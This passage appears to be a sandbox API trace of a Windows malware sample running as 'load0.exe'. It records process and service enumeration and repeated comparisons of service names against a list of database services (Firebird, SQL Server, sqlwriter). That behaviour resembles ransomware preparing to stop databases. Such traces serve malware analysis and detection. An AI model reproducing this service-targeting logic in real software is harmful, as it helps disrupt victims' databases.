lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0242.975] lstrlenW (lpString="RpcSs") returned 5 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0242.976] lstrlenW (lpString="SamSs") returned 5 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0242.976] lstrlenW (lpString="Schedule") returned 8 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0242.976] lstrlenW (lpString="SecurityHealthService") returned 21 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0242.976] lstrlenW (lpString="SENS") returned 4 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.978] lstrlenW (lpString="ShellHWDetection") returned 16 [0242.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.978] lstrlenW (lpString="Spooler") returned 7 [0242.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.978] lstrlenW (lpString="StateRepository") returned 15 [0242.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0242.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0242.979] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0242.979] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0242.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0242.979] lstrlenW (lpString="SysMain") returned 7 [0242.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0242.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0242.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0242.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0242.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0242.979] lstrlenW (lpString="SystemEventsBroker") returned 18 [0242.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0242.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0242.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0242.979] lstrlenW (lpString="Themes") returned 6 [0242.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.979] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0242.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.979] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0242.979] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0242.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0242.980] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0242.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.980] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0242.980] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0242.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f15820 | out: hHeap=0x630000) returned 1 [0242.980] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x112c [0243.176] Process32FirstW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.177] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.178] lstrlenW (lpString="System") returned 6 [0243.178] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.179] lstrlenW (lpString="smss.exe") returned 8 [0243.179] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.179] lstrlenW (lpString="csrss.exe") returned 9 [0243.179] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.180] lstrlenW (lpString="wininit.exe") returned 11 [0243.180] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.181] lstrlenW (lpString="csrss.exe") returned 9 [0243.181] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.182] lstrlenW (lpString="winlogon.exe") returned 12 [0243.182] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.182] lstrlenW (lpString="services.exe") returned 12 [0243.182] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.183] lstrlenW (lpString="lsass.exe") returned 9 [0243.183] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.184] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.184] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.185] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.185] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.186] lstrlenW (lpString="svchost.exe") returned 11 [0243.186] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.186] lstrlenW (lpString="svchost.exe") returned 11 [0243.186] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.187] lstrlenW (lpString="dwm.exe") returned 7 [0243.187] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.188] lstrlenW (lpString="svchost.exe") returned 11 [0243.188] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.188] lstrlenW (lpString="svchost.exe") returned 11 [0243.189] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.189] lstrlenW (lpString="svchost.exe") returned 11 [0243.189] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.190] lstrlenW (lpString="svchost.exe") returned 11 [0243.190] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.191] lstrlenW (lpString="svchost.exe") returned 11 [0243.191] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.191] lstrlenW (lpString="svchost.exe") returned 11 [0243.191] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.192] lstrlenW (lpString="svchost.exe") returned 11 [0243.192] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.193] lstrlenW (lpString="svchost.exe") returned 11 [0243.193] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.194] lstrlenW (lpString="svchost.exe") returned 11 [0243.194] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.194] lstrlenW (lpString="svchost.exe") returned 11 [0243.194] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.195] lstrlenW (lpString="spoolsv.exe") returned 11 [0243.195] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.196] lstrlenW (lpString="svchost.exe") returned 11 [0243.196] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.197] lstrlenW (lpString="audiodg.exe") returned 11 [0243.197] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0243.198] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0243.198] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0243.199] lstrlenW (lpString="Memory Compression") returned 18 [0243.199] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0243.200] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0243.200] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.201] lstrlenW (lpString="taskhostw.exe") returned 13 [0243.201] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.201] lstrlenW (lpString="sihost.exe") returned 10 [0243.201] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.202] lstrlenW (lpString="svchost.exe") returned 11 [0243.202] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.203] lstrlenW (lpString="taskhostw.exe") returned 13 [0243.203] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0243.204] lstrlenW (lpString="msoia.exe") returned 9 [0243.204] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.204] lstrlenW (lpString="explorer.exe") returned 12 [0243.204] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.205] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0243.205] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.206] lstrlenW (lpString="SearchUI.exe") returned 12 [0243.206] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.668] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0243.668] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.669] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0243.669] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0243.670] lstrlenW (lpString="load0.exe") returned 9 [0243.670] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0243.671] lstrlenW (lpString="cmd.exe") returned 7 [0243.671] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0243.673] lstrlenW (lpString="conhost.exe") returned 11 [0243.673] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0243.673] CloseHandle (hObject=0x112c) returned 1 [0243.674] Sleep (dwMilliseconds=0x1f4) [0244.260] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32b47b8 [0244.622] EnumServicesStatusExW (in: hSCManager=0x32b47b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0244.622] GetLastError () returned 0xea [0244.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1bc4) returned 0x3ffc9c0 [0244.623] EnumServicesStatusExW (in: hSCManager=0x32b47b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ffc9c0, cbBufSize=0x1bc4, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ffc9c0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0244.623] CloseServiceHandle (hSCObject=0x32b47b8) returned 1 [0244.624] lstrlenW (lpString="AppXSvc") returned 7 [0244.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0244.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0244.624] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0244.624] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0244.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0244.624] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0244.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.624] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0244.624] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0244.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0244.624] lstrlenW (lpString="Audiosrv") returned 8 [0244.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0244.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0244.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0244.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0244.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0244.624] lstrlenW (lpString="BFE") returned 3 [0244.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0244.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0244.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0244.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0244.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0244.625] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0244.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0244.625] lstrcmpiW (lpString1="mssqlserver", 